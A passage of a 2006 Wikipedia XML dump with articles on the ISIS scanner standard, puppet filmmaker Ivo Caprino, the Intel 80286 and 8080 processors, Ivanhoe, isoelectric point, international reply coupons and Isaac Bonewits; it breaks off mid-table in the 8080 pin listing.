      <timestamp>2006-02-21T23:02:37Z</timestamp>
      <contributor>
        <username>Deltazero</username>
        <id>320081</id>
      </contributor>
      <minor />
      <text xml:space="preserve">:''This article is about the scanning technology. For other meanings see [[Isis (disambiguation)]].''

[[Image:emccaptiva.png|frame|EMC captiva logo]]

'''ISIS''' ('''''I'''mage and '''S'''canner '''I'''nterface '''S'''pecification'') is an industry standard interface for [[image scanner|image scanning]] technologies. It was developed by Pixel Translations in 1990 (today: [[EMC]] captiva), and they retain control over development and licensing.

ISIS can be considered as a &quot;big brother&quot; to the [[TWAIN]] standard, which tends to be used on small scanner hardware for home use.

ISIS compatible scanners typically use a [[SCSI]]-2 interface, while TWAIN hardware now mostly uses [[USB]].

ISIS has a wider feature set than TWAIN, can handle greater speeds, and also handles some aspects of image display and manipulation for the client application.

Most major scanner manufacturers, including [[Kodak]], [[Canon (company)|Canon]], [[Hewlett-Packard]], and [[Fujitsu]] use the ISIS interface for their departmental and high-capacity scanner hardware.

The ISIS architecture is a mutable architecture based on modules&amp;#8212;software components that perform specific imaging functions (such as image acquisition, file conversion, data extraction, and file read/write commands). ISIS architecture allows for new modules to be added without making system-wide changes: one simply adds what is needed.

ISIS modules interact with each other through a system of tags (data storage areas) and choices (value sets). A combination of two or more ISIS modules put together to perform a specific imaging function is called an ISIS pipe. ISIS pipes can be constructed according to each developers specific imaging needs.

First and foremost in the benefits ISIS delivers to developers is compatibility: ISIS-compatible drivers are available for more than 300 scanner models, most of them certified by Pixel Translations to be compatible with any properly written ISIS application. ISIS' compatibility is further evidenced by its being the basis for the AIIM (The Association for Information and Image Management) MS61 standard since 1996, which is in the public domain. 

==See also==
* [[TWAIN|TWAIN]]
* [[Windows Image Acquisition|Windows Image Acquisition (WIA)]]
* [[Scanner Access Now Easy|Scanner Access Now Easy (SANE)]]

==External links==
* [http://www.captivasoftware.com/products/pixtran.asp Homepage of EMC captiva]
* [http://www.captivasoftware.com/downloads/ds_isis_vs_twain.pdf Comparison ISIS vs. TWAIN by EMC captiva]

[[Category:Imaging]]
[[Category:Standards]]</text>
    </revision>
  </page>
  <page>
    <title>Ivo Caprino</title>
    <id>15053</id>
    <revision>
      <id>40364443</id>
      <timestamp>2006-02-20T01:58:40Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''Ivo Caprino''' ([[Oslo]], [[February 17]] [[1920]] &amp;ndash; [[February 8]] [[2001]] in Oslo) was a [[Norway|Norwegian]] [[film director]] and [[writer]], best known for his [[puppet]] films. His most famous film is ''[[Flåklypa Grand Prix]]'' (&quot;Pinchcliffe Grand Prix&quot;), made in [[1975]].

Caprino was the son of furniture designer Mario Caprino and the artist Ingeborg Gude. In the mid forties, he helped his mother design puppets for a puppet theatre, which inspired him to try making a film using his mother's designs. The result of their collaboration was Tim og Tøffe, an 8 minute film released in [[1948]]. Several films followed in the next couple of years, including two 15 minute shorts that are still shown regularly in Norway today, Veslefrikk og Fela (Little Freddy and his Fiddle), based on a Norwegian folk tale, and Karius og Baktus, a story of two little trolls living in a boy's teeth. Ingeborg Gude made the puppets for these films as well, as she would continue to do up until her death in the mid sixties.

When making Tim og Tøffe, Caprino invented an ingenious method for controlling the puppet's movements in real time. The technique can be described as a primitive, mechanical version of [[Audio-animatronics|animatronics]].

Caprino's films received rave reviews, and he quickly became a celebrity in Norway. In particular, the public were fascinated with the secret technology used to make his films. When he switched to traditional stop motion, Caprino tried to maintain the impression that he was still using some kind of &quot;magic&quot; technology to make the puppets move, even though all his later films were made with traditional stop motion techniques. 

In addition to the short films, Caprino produced dozens of advertising films with puppets. In 1959, he directed a live action feature film, Ugler i Mosen, which also contained stop motion sequences. He then embarked on his most ambitious project, a feature film about Peter Christen Asbjørnsen, who travelled around Norway in the 19th century collecting traditional folk tales. The plan was to use live action for the sequences showing Asbjørnsen, and then to realise the folk tales using stop motion. Unfortunately, Caprino was unable to secure funding for the project, so he ended up making the planned folk tale sequences as separate 16 minute puppet films, bookended by live action sequences showing Asbjørnsen.

In 1970, Caprino and his small team of collaborators, started work on a 25 minutes TV special, which would eventually become The Pinchcliffe Grand Prix. Based on a series of books by Norwegian cartoonist and author Kjell Aukrust, it featured a group of eccentric characters all living in the small village of Pinchcliffe. The TV special was a collection of sketches based on Aukrust's books, with no real story line. After 1.5 years of work, it was decided that it didn't really work as a whole, so production on the TV special was stopped (with the exception of some very short clips, no material from it has ever been seen by the public), and Caprino and Aukrust instead wrote a screenplay for a feature film using the characters and environments that had already been built.

The result was ThHe Pinchcliffe Grand Prix, which stars Theodore Rimspoke and his two assistants, Sonny Sonny Duckworth, a cheerful and optimistic bird, and Lambert, a nervous, pessimistic and melancholic hedgehog. Theodore works as a bicycle repairman, though he spends most of his time inventing weird Rube Golberg-like contraptions. One day, the trio discover that one of Theodore's former assistants, Rudolph Gore-Slimey, has stolen his design for a race car engine, and has become a world champion Formula 1 driver.

Sonny secures funding from an Arab oil sheik who happens to be vacationing in Pinchcliffe, and the trio then build a gigantic racing car, Il Tempo Gigante - a fabulous construction with two engines, radar and its own blood bank. Theodore then enters a race, and ends up winning, beating Gore-Slimey despite his attempts at sabotage.

The film was made in 3.5 years by a team of approximately 5 people. Caprino directed and animated, Bjarne Sandemose (Caprino's principal collaborator thoughout his career) built the sets and the cars, and was in charge of the technical side, Ingeborg Riiser modeled the puppets and Gerd Alvsen made the costumes and props.

When it came out in 1975, The Pinchcliffe Grand Prix was an enormous success in Norway, selling 1 million tickets in its first year of release. It remains the biggest box office hit of all time in Norway (Caprino Studios claim it has sold 5.5 million tickets to date, though this number appears a bit exaggarated) and was also released in many other countries.

To help promote the film abroad, Caprino and Sandemose built a full scale replica of Il Tempo Gigante. It is a fully working car that can reach speeds of 280 km/h. 

Except for some TV work in the late seventies, Caprino made no more puppet films, focusing instead on creating attractions for a theme park outside Lillehammer based on his folk tale movies, and making tourist films using a custom built multi camera setup  that shoots 280 degrees panorama movies.

Since Caprino's death, his son Remo has had great success developing a computer game based on The Pinchcliffe Grand Prix.


==External links==
*  [http://www.caprino.no/en-UK/movies/ Caprino Studios - Official page]


{{norway-bio-stub}}
:{{film-director-stub}}
:{{Euro-writer-stub}}

[[Category:1920 births|Caprino, Ivo]]
[[Category:2001 deaths|Caprino, Ivo]]
[[Category:Norwegian film directors|Caprino, Ivo]]

[[no:Ivo Caprino]]
[[fr:Ivo Caprino]]</text>
    </revision>
  </page>
  <page>
    <title>Intel 80286</title>
    <id>15054</id>
    <revision>
      <id>41611847</id>
      <timestamp>2006-02-28T14:32:58Z</timestamp>
      <contributor>
        <username>Ugur Basak Bot</username>
        <id>735354</id>
      </contributor>
      <minor />
      <comment>robot  Adding: tr</comment>
      <text xml:space="preserve">[[image: Intel_80286.jpg|thumb|right|200px|An Intel 80286 Microprocessor]]
[[Image:Am80286-12.jpg|200px|thumb|AMD 80286 with 12 Mhz.]]
The '''Intel 80286''' (also called '''iAPX 286''', for example in the Intel programmer's manual for the 286) is an [[x86]]-family [[16-bit]] [[microprocessor]] that was introduced by [[Intel]] on [[February 1]], [[1982]]. Initially released in 6 and 8 MHz editions, it was subsequently scaled up to 12.5 MHz. (AMD and [[Harris Corporation|Harris]] later pushed the architecture to speeds as high as 20 MHz and 25 MHz, respectively.) It was widely used in [[IBM PC compatible]] [[computer]]s during the mid [[1980s]] to early [[1990s]].

The 80286 performs at twice the speed of its predecessor (the [[Intel 8086]]) per [[clock cycle]], and is able to address up to 16 [[mebibyte|MiB]] of [[Random access memory|RAM]], in contrast to the 1 MiB the 8086 can work with. While [[DOS]] machines were able to utilise this additional RAM capability via [[extended memory]] [[emulation]], few 286-based computers ever saw more than a megabyte of RAM.

The 286 was designed to run multitasking applications, including communications (such as automated [[PBX]]s), [[real-time process control]], and multi-user systems.

An interesting feature of this processor is that it was the first x86 processor capable of switching from [[real mode]] to [[protected mode]], enabling the use of up to 16 MiB of system memory, and allowing certain degree of protection of the memory zones used by applications. However, the 286 could not revert to real mode without resetting the processor, so protected mode was not widely used until the appearance of its successor, the [[32-bit]] [[Intel 80386]], which could go back and forth between modes easily.

== External links ==
* [http://tuxmobil.org/286_mobile.html Linux on 286 laptops and notebooks]
* [http://www.cpu-collection.de/?tn=1&amp;l0=cl&amp;l1=80286 Intel 80286 images and descriptions at cpu-collection.de]
* [http://www.cpu-info.com/index2.php?mainid=html/cpu/286.php CPU-INFO: 80286, indepth processor history]

{{Intel_processors}}

 &lt;!-- note: &quot;8286&quot; to get chronological sorting --&gt;

[[Category:x86 microprocessors|Intel 286]]

[[de:Intel 80286]]
[[es:Intel 80286]]
[[fr:Intel 80286]]
[[ko:인텔 80286]]
[[it:Intel 80286]]
[[nl:80286 (processor)]]
[[ja:Intel 80286]]
[[pl:Intel 80286]]
[[pt:Intel 80286]]
[[sk:Intel 80286]]
[[fi:Intel 80286]]
[[tr:I286]]
[[zh:Intel 80286]]</text>
    </revision>
  </page>
  <page>
    <title>Ivanhoe</title>
    <id>15055</id>
    <revision>
      <id>41692213</id>
      <timestamp>2006-03-01T02:25:39Z</timestamp>
      <contributor>
        <username>Ryanmcdaniel</username>
        <id>121715</id>
      </contributor>
      <minor />
      <comment>/* Adaptations */ Three movies -&gt; two movies (moved 1982 listing to TV section)</comment>
      <text xml:space="preserve">{{otheruses}}

[[Image:ivanhoe.jpg|thumb|200px|Ivanhoe book cover]]
'''''Ivanhoe''''' is a [[novel]] by [[Sir Walter Scott]].  It was written in [[1819]] and set in [[12th century]] [[England]], an example of [[historical fiction]].  ''Ivanhoe'' is sometimes given credit for helping to increase popular interest in the [[middle ages]] in [[19th century]] [[Europe]].

It is the story of one of the remaining [[Anglo-Saxons|Saxon]] noble families, at a time when the nobility was overwhelmingly [[Normans|Norman]].  It follows the protagonist, Wilfred of Ivanhoe&amp;mdash;a son of a Saxon family out of favor with his father due to his unsuitable courting of a Saxon Princess named Rowena and his allegiance to the Norman king [[Richard I of England]]&amp;mdash;as he comes back from the [[Crusades]]. The legendary [[Robin Hood]], under the title of Locksley, is also a character in the story, and the character Scott gave him in ''Ivanhoe'' shaped the modern idea of Robin Hood, the cheery noble outlaw.

Ivanhoe himself spends much of the story out of action, having been seriously wounded in the opening chapters.  He is nursed by Rebecca, daughter of Isaac the Jew, but there can never be a romance between them, partly because of her religion and partly because Ivanhoe is already committed to the beautiful Rowena, his childhood love.  However, his great enemy, the [[Knights Templar|Templar]] Sir Brian de Bois-Guilbert, finds Rebecca so irresistible that he is prepared to sacrifice everything for her.  Many of the book's critics prefer Rebecca as a heroine to the relatively colourless Rowena.

In 1850, the novelist [[William Makepeace Thackeray]] wrote a spoof sequel to ''Ivanhoe'' called ''[[Rebecca and Rowena]]''.

The location of the novel is centred upon [[South Yorkshire]] and North [[Nottinghamshire]] in [[England]]. Indeed the castle within the story is based upon [[Conisbrough Castle]] near [[Doncaster]] and still stands today as a popular tourist attraction. Reference is made within the story to the Bishop of [[Sheffield]]. These references within the story contribute to the notion that [[Robin Hood]] lived or travelled in and around this area.

The ancient town of [[Conisbrough]] is so dedicated to the story of Ivanhoe that many of the streets, schools and public buildings are named either after characters from the book or the 12th Century Castle.

==Characters==
* ''Ivanhoe''
* ''Rebecca''
* ''Rowena''
* ''Prince John''
* ''The Black Knight''
* ''Locksley''
* ''Brian De Bois-Guilbert''
* ''Isaac of York'', father of Rebecca
* ''Prior Aymer''
* ''Reginald Front-de-Boeuf''
* ''Cedric the Saxon''
* ''Maurice De Bracy''
* ''Waldemar Fitzurse''
* ''Athelstane''
* ''Albert Malvoisin''
* ''Gurth'', Cedric's swineherd
* ''Wamba'', Cedric's jester

==Historical Accuracy==
Although the general political events depicted in the novel are relatively accurate - it tells of the period of King Richard's imprisonment in Austria following the crusade and his return to England - the story is heavily fictionalized.  Most notably, its depiction of an England in which Saxon and Norman nobles are at odds is highly anachronistic - by the late 12th century, there were no such distinctions among an upper class which generally had a common Norman French culture, with elements of English nobility, mainly due to inter-breeding between the different nationalities.

One inaccuracy in ''Ivanhoe'' created a new name in the English language: Cedric. The correct name is ''[[Cerdic]]'' but Sir Walter committed a [[Metathesis (linguistics)|metathesis]]. The satirist [[H. H. Munro]] , with his typical caustic wit, commented: &quot;It is not a name but a misspelling.&quot;

==Adaptations==

The novel has been the basis for two movies, each also titled ''Ivanhoe''; 
*The [[1913]] [[Ivanhoe (1913 film)|film]] production:  Directed by [[Herbert Brenon]]. With [[King Baggot]], Leah Baird, Brenon. 
*The [[1952]] [[Ivanhoe (1952 film)|film]] film starred [[Robert Taylor (actor)|Robert Taylor]] as Ivanhoe, [[Elizabeth Taylor]] as Rebecca, [[Joan Fontaine]] as Rowena, [[George Sanders (actor)|George Sanders]] as Bois-Guilbert, [[Finlay Currie]] as Cedric, and [[Sebastian Cabot (actor)|Sebastian Cabot]].  The film has a notable jousting scene as well as a well-choreographed battle sequence.  These visualizations are given more attention than the dialogue and underlying story.  The film was nominated for three [[Academy Award|Oscars]]:
**[[Academy Award for Best Picture|Best Picture]] - [[Pandro S. Berman]]
**[[Academy Award for Best Cinematography|Best Cinematography, Color]] - [[Freddie Young]]
**[[Academy Award for Original Music Score|Best Music Score]] - [[Miklós Rózsa]]

There have also been numerous television adaptations of the novel, including:
*Late [[1950s]]: A television series based on the character of Ivanhoe starred [[Roger Moore]] as Ivanhoe.
*[[1982]]: A [[television movie]] starring [[Anthony Andrews]] as Ivanhoe, [[Michael Hordern]] as his father Cedric, [[Sam Neill]] as Sir Brian, [[Olivia Hussey]] as Rebecca, [[James Mason]] as Rebecca's father, [[Lysette Anthony]] as Rowena, [[Julian Glover]] as King Richard, and [[David Robb]] as Robin Hood. In this version, Sir Brian is the true hero. Though he could easily have won the fight against the wounded and incapacitated Ivanhoe, Brian lowers his sword and allows himself to be slaughtered, thus saving the life of his beloved Rebecca. 
*[[1997]]: This version of ''Ivanhoe'' was released as a 6-part, 5-hour series, a co-production of [[A&amp;E Network|A&amp;E]] and the [[BBC]].  It stars [[Steven Waddington]] as Ivanhoe, [[Ciarán Hinds]] as Bois-Guilbert, [[Susan Lynch]] as Rebecca, and [[Victoria Smurfit]] as Rowena.

There is one setting of Ivanhoe as an Opera, by Sir Arthur Sullivan.  Though it ran for over 100 performances, it was never revived and has not been staged since.{{citeneeded}}
[[Category:Novels]]

==External links==	 
* {{gutenberg|no=82|name=Ivanhoe}}	 
* [http://etext.library.adelaide.edu.au/s/scott_walter/ivanhoe/ Online edition at eBooks@Adelaide]
 
{{Nuttall}}	 
[[Category:1820 books]]	 
[[Category:1952 films]]	 
[[Category:Best Picture Oscar Nominee]]	 
[[Category:British novels]]	 
[[Category:Historical novels]]	 
[[Category:Films based on fiction books]]	 
[[Category:Fictional knights]]	 

[[da:Ivanhoe]]
[[es:Ivanhoe]]
[[fr:Ivanhoé (roman)]]
[[it:Ivanhoe]]
[[nl:Ivanhoe]]
[[pl:Ivanhoe]]
[[sv:Ivanhoe]]</text>
    </revision>
  </page>
  <page>
    <title>Isoelectric point</title>
    <id>15056</id>
    <revision>
      <id>41375305</id>
      <timestamp>2006-02-26T22:52:13Z</timestamp>
      <contributor>
        <username>Christopherlin</username>
        <id>51957</id>
      </contributor>
      <minor />
      <comment>cat mol bio</comment>
      <text xml:space="preserve">The '''isoelectric point''' (pI) is the [[pH]] at which a [[molecule]] carries no net [[electric charge|electrical charge]].

For an [[amino acid]] with only one [[amine]] and one [[carboxyl]] group, the pI can be calculated from the [[pKa]]'s of this molecule.

: &lt;math&gt; pI = {{\sum pK_a} \over 2} &lt;/math&gt;

For amino acids with more than two ionizable groups such as [[lysine]] for example, the same formula is used but this time, the two pKa's used are those of the two groups that lose and gain a charge from the neutral form of the amino acid.

[[Proteins]] can be separated according to their isoelectric point in a process known as [[isoelectric focusing]].

At a [[pH]] below the pI, [[proteins]] carry a net positive charge.  Above the pI they carry a net negative charge.  This has implications for running electrophoretic gels (see [[Agarose gel electrophoresis]]).  The [[pH]] of an electrophoretic gel is determined by the [[buffer]] used for that gel.  If the [[pH]] of the [[buffer]] is above the pI of the protein being run, the [[protein]] will migrate to the positive pole (negative charge is attracted to a positive pole).  If the [[pH]] of the buffer is below the pI of the [[protein]] being run, the [[protein]] will migrate to the negative pole of the gel (positive charge is attracted to the negative pole).  If the [[protein]] is run with a [[buffer]] pH that is equal to the pI, it will not migrate at all. This is also true for individual amino acids.

[[Category:Ions]]
[[Category:Molecular biology]]

[[ca:Punt isoelèctric]]
[[he:נקודה איזואלקטרית]]
[[it:Punto isoelettrico]]
[[ja:&amp;#31561;&amp;#38651;&amp;#28857;]]
[[nl:Iso-elektrisch punt]]
[[pl:Punkt izoelektryczny]]
[[uk:Ізоелектрична точка]]
[[zh:&amp;#31561;&amp;#30005;&amp;#28857;]]</text>
    </revision>
  </page>
  <page>
    <title>International reply coupon</title>
    <id>15058</id>
    <revision>
      <id>39599893</id>
      <timestamp>2006-02-14T15:54:44Z</timestamp>
      <contributor>
        <ip>58.147.63.1</ip>
      </contributor>
      <text xml:space="preserve">An '''international reply coupon''' (IRC) is a coupon that can be used to post a standard 20 gram letter anywhere in the world. IRCs are accepted and available in all [[Universal Postal Union]] (UPU) member countries.

The purpose of the IRC is to be able to send someone (in ANOTHER country) a letter, along with the cost of postage for them to reply. If the addressee is within the same country, one simply sends them a self-addressed stamped envelop (&quot;SASE&quot;); but if you are sending a letter to another country, it can be difficult to acquire stamps for that country to send along with your letter. So you can purchase an IRC instead from your local post office, and send it to them; they can then take it to a post office in their own country, and use it to reply to your letter.

IRCs have many common and practical uses.

A parent may include one in a letter to a student or military son or daughter (in another country) who may be strapped for cash to cover postage for a reply letter.

Serious collectors often use IRCs. For example, suppose an autograph collector has found a famous person in another country willing to grant an autograph. Including an IRC with the request for the autograph would certainly improve the chances of receiving it. Or, suppose a lace collector in the U.S. has found a kind person in France willing to donate an interesting piece of lace. The collector would include an IRC so as not to inconvenience the kind person by making them pay postage, as the kind person is already granting the collector a great favor by giving him the lace, the object of his or her collecting passion.

One interesting example of IRCs the following: This is often requested when a [[Amateur radio|ham radio]] operator wishes to send a reception report in order to receive a [[QSL card]] - the IRC will cover postage. IRCs can also be used as international currency for small transactions, since they have at least a small nominal value in all UPU member countries.

As well as IRCs administered by the UPU, there are also reply coupons issued by other postal unions which are usable only in certain countries, e.g. those issued by the [[Arab Postal Union]].

==External links==
*http://www.n6hb.org/s-a/irc.htm

==See also==
*[[Charles Ponzi]]

[[Category:Postal system]]

[[de:Internationaler Antwortschein]]
[[ja:&amp;#22269;&amp;#38555;&amp;#36820;&amp;#20449;&amp;#20999;&amp;#25163;&amp;#21048;]]</text>
    </revision>
  </page>
  <page>
    <title>Isaac Bonewits</title>
    <id>15059</id>
    <revision>
      <id>41384001</id>
      <timestamp>2006-02-26T23:56:29Z</timestamp>
      <contributor>
        <ip>64.0.113.204</ip>
      </contributor>
      <comment>Fixed degree information &amp; added coined phrase</comment>
      <text xml:space="preserve">Phillip Emmons '''Issac Bonewits''' (born [[October 1]], [[1949]]) is an influential [[Neopaganism|Neopagan]] leader and [[author]].  Born in [[Royal Oak, Michigan]], Bonewits has been heavily involved in [[occultism]] with an emphasis on [[Neo-druidism]] since the [[1960]]'s.

==Life==
In [[1966]], while enrolled at [[UC_Berkeley|UC Berkeley]], Bonewits was initiated into the [[Neo-Druidism#The_Mother_Grove_of_the_RDNA|Reformed Druids of North America RDNA]] or RDNA. Bonewits was ordained as a [[Druid]] [[priest]] in [[1969]]. During this time period, Bonewits joined the [[Church of Satan]], but left due to a personality conflict with [[Anton LaVey]]. 

Bonewits graduated in [[1970]] with a [[Bachelor_of_Arts|BA]], as the only person to have ever received any kind of [[Academic_degree|degree]] in [[Magic_%28paranormal%29|Magic]]. Gaining a bit of notoriety from this, Bonewits soon earned a book contract for his first book ''Real Magic'' which was published in [[1971]]. Between [[1973]]-[[1975]] Bonewits was employed as editor of ''Gnostica'' magazine in Minnesota. During this time period, Bonewits established an offshoot group of the RDNA called the ''Schismatic Druids of North America'' and was involved with a group called the ''Hasidic Druids of North America''. He also founded the short-lived ''Aquarian Anti-Defamation League (AADL)'' which was an early pagan civil-rights group.

In [[1976]], Bonewits moved back to Berkeley and rejoined the RDNA which was now known as the ''New Reformed Druids of North America'' or NRDNA. He was later elected ''ArchDruid'' of this organization.

In [[1983]], Bonewits founded [[Ar nDraiocht Fein]] or ADF, which was incorporated in [[1990]] in the state of [[Delaware]] as a U.S. 501(c)3 non-profit organization. Over the years, Bonewits has had varying degrees of involvement with [[Santeria]], the ''Caliphate Line'' of the [[Ordo Templi Orientis]], [[Gardnerian Wicca]], the [[New Reformed Orthodox Order of the Golden Dawn]] (a [[Wiccan]] organization not to be confused with the [[Hermetic Order of the Golden Dawn]]) as well as others.

Bonewits served as ArchDruid of the ADF until [[1996]], when he resigned due to the onset of symptoms of [[Eosinophilia-myalgia syndrome]]. Bonewits retains the lifelong title of ArchDruid Emeritus of the ADF. He currently lives in [[Nyack%2C_New_York|Nyack, NY]] and is a member of the [[Covenant of Unitarian Universalist Pagans]] or CUUPS, and is married to the co-founder of the organization, Phaedra Heyman Bonewits.

Bonewits is currently promoting a charity program to help Neopagan seniors,{{fn|1}} and in January [[2006]] was the key note speaker at the ''Conference On Current Pagan Studies'' at the [[Claremont Graduate University]] in [[Claremont%2C_California|Claremont, CA]].

==Contributions to Neopaganism==
Bonewits has coined much of the modern terminology used to define and articulate many of the conceptual themes and issues which affect the North American Neopagan community.
* Developed the [[Advanced_Bonewits_Cult_Danger_Evaluation_Frame#Isaac_Bonewits|Advanced Bonewits Cult Danger Evaluation Frame]] or ABCDEF
* Pioneered the modern usage of the term ''[[thealogy]]'', ''Paleo-Paganism'', ''Meso-Paganism'' and numerous other [[retronym]]s
* Is thought to have coined the term ''[[Polytheistic_reconstructionism|reconstructionism]]
* Coined the phrase &quot;Never again the burning.&quot;

==Notes==
*{{fnb|1}}[http://www.neopagan.net/Adopt-an-Elder.html Adopt an Elder]

==Partial bibliography==
* ''Real Magic: An Introductory Treatise on the Basic Principles of Yellow Magic'', 1972, 1989 ISBN 0877286884
* ''Authentic Thaumaturgy'', 1978, 1998 ISBN 1556343604
* ''Rites of Worship: A Neopagan Approach'', 2003 ISBN 1594055017
* ''Witchcraft: A Concise Guide or Which Witch Is Which?'', 2003 ISBN 1594055009
* ''The Pagan Man: Priests, Warriors, Hunters, and Drummers'', 2005 ISBN 0806526971
* ''Bonewits' Essential Guide to Witchcraft and Wicca'', 2006 ISBN 0806527110

==See also==
*[[Ar nDraiocht Fein]]
*[[Neo-Paganism]]
*[[Thealogy]]

==External links==
*[http://orgs.carleton.edu/Druids/ARDA/ A Reformed Druid Anthology] includes ''The Druid Chronicles (Evolved)''.
*[http://www.neopagan.net Isaac Bonewits' Homepage]
&lt;br&gt;
&lt;br&gt;

&lt;!-- Categorization --&gt;
[[Category:1949 births|Bonewits, Isaac]]
[[Category:Living people|Bonewits, Isaac]]
[[Category:Druids|Bonewits, Isaac]]
[[Category:Wiccan people|Bonewits, Isaac]]
[[Category:American occultists|Bonewits, Isaac]]</text>
    </revision>
  </page>
  <page>
    <title>Isaac Bonewits laws of magic</title>
    <id>15060</id>
    <revision>
      <id>21757119</id>
      <timestamp>2005-08-24T22:03:13Z</timestamp>
      <contributor>
        <username>RJHall</username>
        <id>91076</id>
      </contributor>
      <comment>cat</comment>
      <text xml:space="preserve">A [[hypothesis]] on the '''Laws of [[magic (paranormal)|Magic]]''' that was first launched in its entirety by [[Isaac Bonewits]] in his popular book ''Real Magic'' (1971, revised edition 1989).

Bonewits' book claims the existence of magical laws relating to the following: 

* Association
* Identification
* Personification
* Words of Power
* Names
* Invocation
* Evocation
* Contagion
* Unity
* Similarity
* Positive and negative attraction
* Cause and effect
* Knowledge
* Infinite data
* Infinite universes
* Personal universes
* Finite senses
* Self-knowledge
* Synchronicity
* Perversity
* Polarity
* Dynamic balance
* Synthesis
* True falsehoods
* Pragmatism

These &quot;laws&quot; are synthesized from a multitude of belief systems from around the world, and were collected in order to explain and categorize magical beliefs within a cohesive framework. Many interrelationships of these areas exist, and some are subsets of others. 

''Examples of use:'' It is widely believed (by those subscribing to such beliefs) that in order to produce an effective [[voodoo doll]] one needs an object associated with the target of the magic. This would categorize this as a form of magic using the &quot;association&quot; rule. Also, the use of a doll to affect a human would be in accordance with the &quot;similarity&quot; rule.

In this way, practically all magical practice in many [[culture]]s can be put in relation, and behavioural patterns are easier to spot.

==See also==
* [[magic (paranormal)|Magic]] for a discussion of the validity of paranormal magic.

[[Category:Magic]]</text>
    </revision>
  </page>
  <page>
    <title>Intel 8080</title>
    <id>15062</id>
    <revision>
      <id>42038414</id>
      <timestamp>2006-03-03T10:55:40Z</timestamp>
      <contributor>
        <username>Ixfd64</username>
        <id>6284</id>
      </contributor>
      <minor />
      <comment>Disambiguate [[BASIC]] to [[BASIC programming language]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:Intel C8080A 9064 33001 N8384 top.jpg|thumb|200px|Intel C8080A processor. The first pin is marked with the key (black dot)]]
[[Image:AMD C8080A.jpg|thumb|150px|AMD clone]]
[[Image:NEC 8080AF cropped.png|thumb|150px|[[NEC Corporation|NEC]] 8080AF (2nd-source).]]
The '''Intel 8080''' was an early [[microprocessor]] designed and manufactured by [[Intel]]. The [[8-bit]] [[central processing unit|CPU]] was released in April 1974 running at 2&amp;nbsp;[[megahertz|MHz]], and is generally considered to be the first truly usable microprocessor CPU design.

==Description==

===Programming model===
The Intel 8080 was the successor to the [[Intel 8008]]; this was due to it being [[assembly language]] [[source-compatibility|source-compatible]] because it used the same [[instruction set]] developed by [[Computer Terminal Corporation]]. The 8080's large 40 pin [[dual in-line package|DIP]] packaging permitted it to provide a 16-bit [[address bus]] and an 8-bit [[data bus]], allowing easy access to 64 [[kilobyte]]s of memory. 
====Registers====
The processor had seven 8-bit [[processor register|registers]], six of which could be combined into three 16-bit register pairs (BC, DE and HL). It also had the 8 bit accumulator, the 16-bit [[Stack-based memory allocation|stack pointer]] to memory (replacing the 8008's internal [[stack (data structure)|stack]]), and a 16-bit [[program counter]]. 
====Commands====
Most of the 8 bit operations were possible between the accumulator and either one of the registers or the memory cell, indexed by the 16 bit value of the register pair HL. Moving operations were supported between any two registers or between any register and the HL-indexed memory cell. The command system also had strange commands to move a byte from a given register into the same register (MOV A,A , for instance). These commands were seldom used, however, unless programmed delays were needed. The command to move from the HL-indexed memory cell into the same memory cell (i.e., MOV M, M) always halted the processor until the external reset or interrupt signals were received. Thus instead of MOV M, M this command was marked as HLT (halt) and used for this purpose, when required. 

All processor commands were coded by one byte, but some of them were followed by one or two bytes of data, a memory address, or a port number. The register-to-register data-move commands were all coded by one byte, making up about a quarter of the commands in the processor-command system. The processor had 8 commands to call the subroutines located at the fixed addresses at the beginning or the address space (RST). These commands were frequently used in the interrupt-handling or system-library calls. 

The most sophisticated (and the longest to execute) command was XTHL, which was used for exchanging the register pair HL with the value, stored at address, indicated by the stack pointer.

====16 bit operations====
Despite the fact that the 8080 was generally an 8 bit processor, it was also able to increment or decrement any register pair (INX, DCX), add the register pairs (DAD), switch HL with DE (XCHG) and perform the 16 bit arithmetical shift (DAD H) with one command. Hence some 16 bit operations were already possible.

===Input/output scheme===

====Input output port space====
The 8080 supported up to 256 [[input/output]] (I/O) ports, accessed from programs via dedicated I/O instructions&amp;mdash;each instruction taking an I/O port address as its operand. This scheme&amp;mdash;using a separate I/O address space&amp;mdash;is now less commonly used than [[memory map]]ping of I/O ports/devices. At the time of the 8080's launch, this I/O mapping scheme was seen as an advantage, as it freed up the processor's limited number of address pins for the memory address space. In most other CPU architectures, however, the mapping of I/O ports in a common address space both for memory and I/O, gave a simpler instruction set; no need for separate I/O instructions.  The 8080-style I/O port scheme continued into the Intel 8085, and x86 families of microprocessors.

====Stack space====

One of the bits in the processor state word (see below) was indicating that the processor is accessing data from the stack. Using this signal, it was possible to implement the separate stack memory space. However this feature was seldom used.

====Shared memory implementations====
The 8080 has the shared control signals for reading and writing both to/from memory and I/O ports and in basic computers was frequently connected using the shared memory map, accessing ports as the memory cells. The specialised I/O commands were either not used or (in the applications with less memory) were used knowning that the processor clones the 8 bit port address to the higher address byte (IN 0x05 would produce the 0x0505 on the 16 bit address bus).

===The internal state word===

For the more complicated system, during one phase of its working loop the processor was setting its &quot;internal state byte&quot; on the data bus. This byte contained flags, informing, if the memory or I/O port is accessed and also was necessary to handle the interrupts. 

The interrupt system state (enabled or disabled) was also outputed into separate pin. For the simple systems, where the interrupts were not used, it is possible to find curiosic cases using this pin as an additional single-bit output port (the Russian popular Radio86RK computer, for instance).

===Pin usage===
The address bus had its own 16 pins, and the data bus had 8 pins that were possible to use without any multiplexing. Using the two additional pins (read and write signals), it was possible to assemble simple microprocessor devices very easily. Only the separate IO space, interrupts and DMA required additional chips to decode the processor pin signals. However the processor load capacity was limited, and even simple computers frequently contained the bus amplifiers.

The processor required three power sources (-5, +5 and +12 Volt(V)) and two non-interlacing high-amplitude synchronization signals. However at least the late Soviet version КР580ВМ80А was able to work with the single +5 V power source, +12 V pin being connected to the same +5 V and -5 V pin - to the ground. The processor consumed about 1.3 Watts(W) of power.

The pin usage table was described in the chip accompanying documentation as following:
&lt;table border=&quot;1&quot; &gt;
&lt;tr&gt;
	&lt;th&gt;Pin number&lt;/th&gt;
        &lt;th&gt;Signal&lt;/th&gt;
        &lt;th&gt;Type&lt;/th&gt;
        &lt;th&gt;Comment&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;    &lt;td&gt;1&lt;/td&gt;&lt;td&gt;A10&lt;/td&gt;

